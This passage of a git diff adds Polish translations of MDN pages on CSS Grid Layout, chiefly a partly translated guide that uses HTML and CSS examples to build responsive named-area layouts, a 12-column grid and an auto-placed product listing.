id="Zewnętrzne_źródła">Zewnętrzne źródła</h2> + +<ul> + <li><a href="http://labs.jensimmons.com/">Examples from Jen Simmons</a></li> + <li><a href="http://gridbyexample.com/">Grid by Example - a collection of usage examples and video tutorials</a></li> + <li><a href="https://tympanus.net/codrops/css_reference/grid/">Codrops Grid Reference</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox DevTools CSS Grid Inspector</a></li> + <li><a href="https://mozilladevelopers.github.io/playground/">CSS Grid Playground</a></li> +</ul> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Grid') }}</td> + <td>{{ Spec2('CSS3 Grid') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<section class="Quick_links" id="Quick_Links"> +<ol> + <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li> + <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li> + <li data-default-state="open"><a href="#"><strong>Guides</strong></a> + <ol> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li> + </ol> + </li> + <li data-default-state="open"><a href="#"><strong>Properties</strong></a> + <ol> + <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li> + </ol> + </li> + <li data-default-state="open"><a href="#"><strong>Glossary</strong></a> + <ol> + <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li> + <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li> + <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li> + <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li> + <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li> + <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li> + <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li> + <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li> + </ol> + </li> +</ol> +</section> diff --git a/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html b/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html new file mode 100644 index 0000000000..93ac130fce --- /dev/null +++ b/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html @@ -0,0 +1,594 @@ +--- +title: Projektowanie typowych układów za pomocą układu siatki CSS +slug: >- + Web/CSS/CSS_Grid_Layout/Realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_CSS +translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +--- +<p>Na zakończenie tego zestawu poradników do Układów Siatki CSS (ang. CSS Grid Layout), przejdę przez kilka różnych układów, demonstrujących niektóre z technik, których można użyć podczas projektowania z użyciem tej technologii. Przyjrzymy się przykładowi, korzystającemu z wartości <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">grid-template-areas</a>, typowemu 12-kolumnowemu systemowi elastycznej siatki, a także wykazowi produktów stworzonemu za pomocą automatycznego rozmieszczania. Jak wynika z wyżej przedstawionych przykładów, często istnieje więcej niż jeden sposób, aby osiągnąć pożądany efekt z układem siatki. Wybierz tę metodę, która jest najbardziej pomocna w rozwiązaniu problemów przed którymi stoisz i dla projektów, które realizujesz.</p> + +<h2 id="Responsywny_układ_strony_korzystający_z_1_do_3_kolumn_o_zmiennej_pozycji_elementów_przy_użyciu_grid-template-areas">Responsywny układ strony korzystający z 1 do 3 kolumn o zmiennej pozycji elementów przy użyciu <code>grid-template-areas</code></h2> + +<p>Znacząca część stron internetowych jest odmianą tego typu układu; zawierającego treść, panele boczne, nagłówek oraz stopkę. Podczas projektowania responsywnej witryny, możesz zechcieć wyświetlić stronę w układzie pojedynczej kolumny dla małych ekranów, dla wyświetlacza o wartości granicznej dodać panel boczny, a dla najszerszych ekranów wprowadzić układ w trzech kolumnach.</p> + +<p><img alt="Image of the three different layouts created by redefining our grid at two breakpoints." src="https://mdn.mozillademos.org/files/14749/11-responsive-areas.png"></p> + +<p>Zamierzam stworzyć taki układ korzystając z <em>nazwanych pól szablonu, </em>o których możecie dowiedzieć się więcej z kursu <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em>.</p> + +<p>Mój szkielet składa się z pojemnika zawierającego elementy z przeznaczeniem na: nagłówek i stopkę, główną zawartość strony, menu, panel boczny oraz blok przeznaczony na reklamę.</p> + +<div id="layout_1"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + + .wrapper { + max-width: 1024px; + margin: 0 auto; + font: 1.2em Helvetica, arial, sans-serif; + } + + .wrapper > * { + border: 2px solid #f08c00; + background-color: #ffec99; + border-radius: 5px; + padding: 10px; + } + + nav ul { + list-style: none; + margin: 0; + padding: 0; + } +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <header class="main-head">The header</header> + <nav class="main-nav"> + <ul> + <li><a href="">Nav 1</a></li> + <li><a href="">Nav 2</a></li> + <li><a href="">Nav 3</a></li> + </ul> + </nav> + <article class="content"> + <h1>Main article area</h1> + <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p> + </article> + <aside class="side">Sidebar</aside> + <div class="ad">Advertising</div> + <footer class="main-footer">The footer</footer> +</div> +</pre> + +<p>Używamy cechy {{cssxref("grid-template-areas")}} by stworzyć układ strony. Nie korzystamy jeszcze z <em>zapytań o środki dostępu</em> (ang. media-queries). Musimy teraz nadać odpowiednie nazwy polom. Żeby to zrobić skorzystamy z właściwości {{cssxref("grid-area")}}.</p> + +<pre class="brush: css">.main-head { + grid-area: header; +} +.content { + grid-area: content; +} +.main-nav { + grid-area: nav; +} +.side { + grid-area: sidebar; +} +.ad { + grid-area: ad; +} +.main-footer { + grid-area: footer; +} +</pre> + +<p>Sama w sobie, operacja ta nie tworzy żadnego układu, aczkolwiek pozwala nam na to, dzięki nadanym nazwom. Nadal nie korzystając z <em>zapytań o urządzenie dostępu</em>, nadam teraz stronie układ tworzony z myślą o wyświetlaczach mobilnych. W tym wypadku zachowam pierwotną kolejność elementów, taką jak w układzie szkieletu, starając się uniknąć najmniejszego rozdźwięku pomiędzy szablonem znaczników, a ukladem siatki, zgodnie z poradami zawartymi w <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">Grid layout and accessibility</a></em>. Nie definuję kolumn, ani rzędów, jednak taka stylizacja tworzy nam układ jednokolumnowy, co się zaś tyczy rzędów, zostaną stworzone samoistnie dla każdego elementu wskazanej siatki.</p> + +<pre class="brush: css">.wrapper { + display: grid; + grid-gap: 20px; + grid-template-areas: + "header" + "nav" + "content" + "sidebar" + "ad" + "footer"; +} +</pre> + +<p>Zdefiniowany mobilny układ strony (jedna kolumna) będzie się teraz wyświetlał jednakowo na każdym urządzeniu, nieleżnie od jego rozmiarów. Żeby to zmienić możemy posłużyć się <em>zapytaniem o środek dostępu</em> i przedefiniować nasz układ na wypadek, gdyby pojawiło się wystarczająco dużo miejsca na ekranie, żeby zmieścić kolejną kolumnę.</p> + +<pre class="brush: css">@media (min-width: 500px) { + .wrapper { + grid-template-columns: 1fr 3fr; + grid-template-areas: + "header header" + "nav nav" + "sidebar content" + "ad footer"; + } + nav ul { + display: flex; + justify-content: space-between; + } +} +</pre> + +<p>Możesz zaobserwować, jak będzie wyglądał nowy układ przyglądając się wartości cechy {{cssxref("grid-template-areas")}}. Element <code>header</code> (nagłówek) rozciąga się na dwie kolumny, tak, jak i element <code>nav </code>(menu). Wtrzecim rzędzie sąsiaduje element <code>sidebar</code> (panel boczny) oraz element <code>content </code>(zawartość strony). W czwartym rzędzie umieściłem element <code>ad</code> (blok reklamowy) zamiast panelu bocznego, a na samym końcu element <code>footer</code> (stopkę) rozciągnietą na cały piąty rząd. Użyłem elastycznego bloku (<em>flexbox</em>) dla menu, tak by wyświetliło się w oddalonym rzędzie.</p> + +<p>Mogę teraz dodać ostatnią wartość graniczną, wyznaczającą przejście do układu w trzech kolumnach.</p> + +<pre class="brush: css">@media (min-width: 700px) { + .wrapper { + grid-template-columns: 1fr 4fr 1fr; + grid-template-areas: + "header header header" + "nav content sidebar" + "nav content ad" + "footer footer footer" + } + nav ul { + flex-direction: column; + } +} +</pre> + +<p>The three-column layout has two <code>1fr</code> unit side columns and a middle column that has <code>4fr</code> as the track size. This means that the available space in the container is split into 6 and assigned in proportion to our three tracks – one part each to the side columns and 4 parts to the center.</p> + +<p>In this layout I am displaying the <code>nav</code> in the left column, alongside the <code>content</code>. In the right column we have the <code>sidebar</code> and underneath it the advertisements (<code>ad</code>). The <code>footer</code> now spans right across the bottom of the layout. I then use a flexbox to display the navigation as a column.</p> + +<p>{{ EmbedLiveSample('layout_1', '800', '500') }}</p> +</div> + +<p>This is a simple example but demonstrates how we can use a grid layout to rearrange our layout for different breakpoints. In particular I am changing the location of that <code>ad</code> block, as appropriate in my different column setups. I find this named areas method very helpful at a prototyping stage, it is easy to play around with the location of elements. You could always begin to use grid in this way for prototyping, even if you can’t rely on it fully in production due to the browsers that visit your site.</p> + +<h2 id="A_flexible_12-column_layout">A flexible 12-column layout</h2> + +<p>If you have been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or 16-column flexible grid. We can create this type of system using CSS Grid Layout. As a simple example, I am creating a 12-column flexible grid that has 12 <code>1fr</code>-unit column tracks, they all have a start line named <code>col-start</code>. This means that we will have twelve grid lines named <code>col-start</code>.</p> + +<div id="layout_2"> +<div class="hidden"> +<pre class="brush: css">.wrapper { + max-width: 1024px; + margin: 0 auto; + font: 1.2em Helvetica, arial, sans-serif; +} +.wrapper > * { + border: 2px solid #f08c00; + background-color: #ffec99; + border-radius: 5px; + padding: 10px; +} +</pre> +</div> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(12, [col-start] 1fr); + grid-gap: 20px; +} +</pre> + +<p>To demonstrate how this grid system works I have four child elements inside my wrapper.</p> + +<pre class="brush: html"><div class="wrapper"> + <div class="item1">Start column line 1, span 3 column tracks.</div> + <div class="item2">Start column line 6, span 4 column tracks. 2 row tracks.</div> + <div class="item3">Start row 2 column line 2, span 2 column tracks.</div> + <div class="item4">Start at column line 3, span to the end of the grid (-1).</div> +</div> +</pre> + +<p>I can then place these on the grid using the named lines, and also the span keyword.</p> + +<pre class="brush: css">.item1 { + grid-column: col-start / span 3; +} +.item2 { + grid-column: col-start 6 / span 4 ; + grid-row: 1 / 3; +} +.item3 { + grid-column: col-start 2 / span 2; + grid-row: 2; +} +.item4 { + grid-column: col-start 3 / -1; + grid-row: 3; +} +</pre> + +<p>{{ EmbedLiveSample('layout_2', '800', '400') }}</p> +</div> + +<p>As described in the <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">guide to named lines</a>, we are using the named line to place our item. As we have 12 lines all with the same name we use the name, and then the index of the line. You could also use the line index itself if you prefer and avoid using named lines at all.</p> + +<p>Rather than setting the end line number, I have chosen to say how many tracks this element should span, using the <code>span</code> keyword. I like this approach as when working with a multiple-column layout system we usually think of blocks in terms of the number of tracks of the grid they span, and adjust that for different breakpoints. To see how the blocks align themselves to the tracks, use the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Inspector</a>. It clearly demonstrates how our items are placed.</p> + +<p><img alt="Showing the items placed on the grid with grid tracks highlighted." src="https://mdn.mozillademos.org/files/14753/11-grid-inspector-12col.png"></p> + +<p>There are some key differences with how a grid layout works over the grid systems you may have used previously. As you can see, we do not need to add any markup to create a row, grid systems need to do this to stop elements popping up into the row above. With CSS Grid Layout, we can place things into rows, with no danger of them rising up into the row above if it is left empty. Due to this <em>strict</em> column and row placement we can also easily leave white space in our layout. We also don’t need special classes to pull or push things, to indent them into the grid. All we need to do is specify the start and end line for the item.</p> + +<h3 id="Building_a_layout_using_the_12-column_system">Building a layout using the 12-column system</h3> + +<p>To see how this layout method works in practice, we can create the same layout that we created with {{cssxref("grid-template-areas")}}, this time using the 12-column grid system. I am starting with the same markup as used for the grid template areas example.</p> + +<div id="layout_3"> +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + + .wrapper { + max-width: 1024px; + margin: 0 auto; + font: 1.2em Helvetica, arial, sans-serif; + } + + .wrapper > * { + border: 2px solid #f08c00; + background-color: #ffec99; + border-radius: 5px; + padding: 10px; + } + + nav ul { + list-style: none; + margin: 0; + padding: 0; + } +</pre> +</div> + +<pre class="brush: html"><div class="wrapper"> + <header class="main-head">The header</header> + <nav class="main-nav"> + <ul> + <li><a href="">Nav 1</a></li> + <li><a href="">Nav 2</a></li> + <li><a href="">Nav 3</a></li> + </ul> + </nav> + <article class="content"><h1>Main article area</h1> + <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p></article> + <aside class="side">Sidebar</aside> + <div class="ad">Advertising</div> + <footer class="main-footer">The footer</footer> + </div> +</pre> + +<p>I can then set up our grid, as for the example 12-column layout above.</p> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: repeat(12, [col-start] 1fr); + grid-gap: 20px; +} +</pre> + +<p>We are once again going to make this a responsive layout, this time however using named lines. Every breakpoint will use a 12-column grid, however the number of tracks that items will span changes depending on the size of the screen.</p> + +<p>We start mobile first, and all we want for the narrowest screens is for the items to remain in source order, and all span right across the grid.</p> + +<pre class="brush: css">.wrapper > * { + grid-column: col-start / span 12; +} +</pre> + +<p>At the next breakpoint we want to move to a two-column layout. Our header and navigation still span the full grid, so we do not need to specify any positioning for them. The sidebar is starting on the first column line named col-start, spanning 3 lines. It goes after row line 3, as the header and navigation are in the first two row tracks.</p> + +<p>The ad panel is below the sidebar, so starts at grid row line 4. Then we have the content and footer starting at col-start 4 and spanning 9 tracks taking them to the end of the grid.</p> + +<pre class="brush: css">@media (min-width: 500px) { + + .side { + grid-column: col-start / span 3; + grid-row: 3; + } + .ad { + grid-column: col-start / span 3; + grid-row: 4; + } + .content, .main-footer { + grid-column: col-start 4 / span 9; + } + nav ul { + display: flex; + justify-content: space-between; + } +} +</pre> + +<p>Finally we go to the three-column version of this layout. The header continues to span right across the grid, but now the navigation moves down to become the first sidebar, with the content and then the sidebar next to it. The footer now also spans across the full layout.</p> + +<pre class="brush: css">@media (min-width: 700px) { + .main-nav { + grid-column: col-start / span 2; + grid-row: 2 / 4; + } + .content { + grid-column: col-start 3 / span 8; + grid-row: 2 / 4; + } + .side { + grid-column: col-start 11 / span 2; + grid-row: 2; + } + .ad { + grid-column: col-start 11 / span 2; + grid-row: 3; + } + .main-footer { + grid-column: col-start / span 12; + } + nav ul { + flex-direction: column; + } +} +</pre> + +<p>{{ EmbedLiveSample('layout_3', '800', '450') }}</p> +</div> + +<p>Once again the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> is useful to help us see how our layout has taken shape.</p> + +<p><img alt="Showing the layout with grid tracks highlighted by the grid inspector." src="https://mdn.mozillademos.org/files/14755/11-grid-inspector-12col-layout.png" style="height: 614px; width: 2050px;"></p> + +<p>Something to note as we create this layout is that we haven’t needed to explicitly position every element on the grid at each breakpoint. We have been able to inherit the placement set up for earlier breakpoints – an advantage of working “mobile first”. We are also able to take advantage of grid auto-placement. By keeping elements in a logical order, auto-placement does quite a lot of work for us in placing items onto the grid. In the final example in this guide we will create a layout that entirely relies on auto-placement.</p> + +<h2 id="A_product_listing_with_auto-placement">A product listing with auto-placement</h2> + +<p>Many layouts are essentially sets of “cards” – product listings, image galleries, and so on. A grid can make it very easy to create these listings in a way that is responsive without needing to add <a href="/en-US/docs/Web/CSS/Media_Queries">media queries</a> to make it so. In this next example I’m combining CSS Grid and Flexbox Layouts to make a simple product listing layout.</p> + +<p>The markup for my listing is an unordered list of items. Each item contains a heading, some text of varying height, and a call to action link.</p> + +<div id="layout_4"> +<pre class="brush: html"><ul class="listing"> + <li> + <h2>Item One</h2> + <div class="body"><p>The content of this listing item goes here.</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> + <li> + <h2>Item Two</h2> + <div class="body"><p>The content of this listing item goes here.</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> + <li class="wide"> + <h2>Item Three</h2> + <div class="body"><p>The content of this listing item goes here.</p> + <p>This one has more text than the other items.</p> + <p>Quite a lot more</p> + <p>Perhaps we could do something different with it?</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> + <li> + <h2>Item Four</h2> + <div class="body"><p>The content of this listing item goes here.</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> + <li> + <h2>Item Five</h2> + <div class="body"><p>The content of this listing item goes here.</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> +</ul> +</pre> + +<div class="hidden"> +<pre class="brush: css">* {box-sizing: border-box;} + img {max-width: 100%; display: block;} + body { + font: 1.2em Helvetica, arial, sans-serif; + } + a:link, a:visited { + text-decoration: none; + color: #f08c00; + } + + h2 { + background-color: #f08c00; + color: #fff; + text-align: center; + margin: 0; + padding: 20px; + } +</pre> +</div> + +<p>We are going to create a grid with a flexible number of flexible columns. I want them never to become smaller than 200 pixels, and then to share any available remaining space equally – so we always get equal width column tracks. We achieve this with the <code>minmax()</code> function in our repeat notation for track sizing.</p> + +<pre class="brush: css">.listing { + list-style: none; + margin: 2em; + display: grid; + grid-gap: 20px; + grid-template-columns: repeat(auto-fill,minmax(200px, 1fr)); +} +</pre> + +<p>As soon as I add this CSS, the items start to lay out as a grid. If I make the window smaller or wider the number of column tracks changes – without me needing to add breakpoints using media queries and redefine the grid.</p> + +<p>I can then tidy up the internals of the boxes using a little touch of flexbox. I set the list item to <code>display: flex</code> and the <code>flex-direction</code> to <code>column</code>. I can then use an auto margin on the <code>.cta</code> to push this bar down to the bottom of the box.</p> + +<pre class="brush: css">.listing li { + border: 1px solid #ffe066; + border-radius: 5px; + display: flex; + flex-direction: column; +} +.listing .cta { + margin-top: auto; + border-top: 1px solid #ffe066; + padding: 10px; + text-align: center; +} +.listing .body { + padding: 10px; +} +</pre> + +<p>This is really one of the key reasons I would use flexbox rather than grid, if I am just aligning or distributing something in a single dimension, that’s a flexbox use case. </p> + +<p>{{ EmbedLiveSample('layout_4', '800', '900') }}</p> +</div> + +<p>This is all looking fairly complete now, however we sometimes have these cards which contain far more content than the others. It might be nice to cause those to span two tracks, and then they won’t be so tall. I have a class of <code>wide</code> on my larger item, and I add a rule {{cssxref("grid-column-end")}} with a value of <code>span 2</code>. Now when grid encounters this item, it will assign it two tracks. At some breakpoints, this means that we'll get a gap in the grid – where there isn’t space to lay out a two-track item.</p> + +<p><img alt="The layout has gaps as there is not space to layout a two track item." src="https://mdn.mozillademos.org/files/14751/11-grid-auto-flow-sparse.png" style="height: 812px; width: 800px;"></p> + +<p>I can cause a grid to backfill those gaps by setting {{cssxref("grid-auto-flow")}}<code>: dense </code> on the grid container. Take care when doing this however as it does take items away from their logical source order. You should only do this if your items do not have a set order – and be aware of the <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility#Visual_not_logical_re-ordering">issues</a> of the tab order following the source and not your reordered display.</p> + +<div id="layout_5"> +<div class="hidden"> +<pre class="brush: html"><ul class="listing"> + <li> + <h2>Item One</h2> + <div class="body"><p>The content of this listing item goes here.</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> + <li> + <h2>Item Two</h2> + <div class="body"><p>The content of this listing item goes here.</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> + <li class="wide"> + <h2>Item Three</h2> + <div class="body"><p>The content of this listing item goes here.</p> + <p>This one has more text than the other items.</p> + <p>Quite a lot more</p> + <p>Perhaps we could do something different with it?</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> + <li> + <h2>Item Four</h2> + <div class="body"><p>The content of this listing item goes here.</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> + <li> + <h2>Item Five</h2> + <div class="body"><p>The content of this listing item goes here.</p></div> + <div class="cta"><a href="">Call to action!</a></div> + </li> +</ul> +</pre> + +<pre class="brush: css">* {box-sizing: border-box;} + img {max-width: 100%; display: block;} + body { + font: 1.2em Helvetica, arial, sans-serif; + } + a:link, a:visited { + text-decoration: none; + color: #f08c00; + } + + h2 { + background-color: #f08c00; + color: #fff; + text-align: center; + margin: 0; + padding: 20px; + } + +.listing li { + border: 1px solid #ffe066; + border-radius: 5px; + display: flex; + flex-direction: column; +} +.listing .cta { + margin-top: auto; + border-top: 1px solid #ffe066; + padding: 10px; + text-align: center; +} +.listing .body { + padding: 10px; +} +</pre> +</div> + +<pre class="brush: css">.listing { + list-style: none; + margin: 2em; + display: grid; + grid-gap: 20px; + grid-auto-flow: dense; + grid-template-columns: repeat(auto-fill,minmax(200px, 1fr)); +} +.listing .wide { + grid-column-end: span 2; +} +</pre> + +<p>{{ EmbedLiveSample('layout_5', '800', '900') }}</p> + +<p>This technique of using auto-placement with some rules applied to certain items is very useful, and can help you to deal with content that is being output by a CMS for example, where you have repeated items and can perhaps add a class to certain ones as they are rendered into the HTML.</p> +</div> + +<h2 id="Further_exploration">Further exploration</h2> + +<p>The best way to learn to use grid layout is to continue to build examples like the ones we have covered here. Pick something that you normally build using your framework of choice, or using floats, and see if you can build it using grid. Don’t forget to find examples that are impossible to build with current methods. That might mean taking inspiration from magazines or other non-web sources. Grid Layout opens up possibilities that we have not had before, we don’t need to be tied to the same old layouts to use it.</p> + +<ul> + <li>For inspiration see the <a href="http://labs.jensimmons.com/"><em>Layout Labs</em> from Jen Simmons</a>, she has been creating layouts based on a range of sources.</li> + <li>For additional common layout patterns see <em><a href="http://gridbyexample.com">Grid by Example</a></em>, where there are many smaller examples of grid layout and also some larger UI patterns and full page layouts.</li> +</ul> + +<section class="Quick_links" id="Quick_Links"> +<ol> + <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li> + <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li> + <li data-default-state="open"><a href="#"><strong>Guides</strong></a> + <ol> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li> + </ol> + </li> + <li data-default-state="open"><a href="#"><strong>Properties</strong></a> + <ol> + <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li> + </ol> + </li> + <li data-default-state="open"><a href="#"><strong>Glossary</strong></a> + <ol> + <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li> + <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li> + <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li> + <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li> + <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li> + <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li> + <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li> + <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li> + <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li> + </ol> + </li> +</ol> +</section> diff --git a/files/pl/web/css/css_reference/index.html b/files/pl/web/css/css_reference/index.html new file mode 100644 index 0000000000..c6b8ea66c6 --- /dev/null +++ b/files/pl/web/css/css_reference/index.html @@ -0,0 +1,56 @@ +--- +title: Dokumentacja CSS +slug: Web/CSS/CSS_Reference +translation_of: Web/CSS/Reference +--- +<p>Specyfikacja CSS zawiera wszystkie standardowe właściwości<span style="line-height: inherit;"> 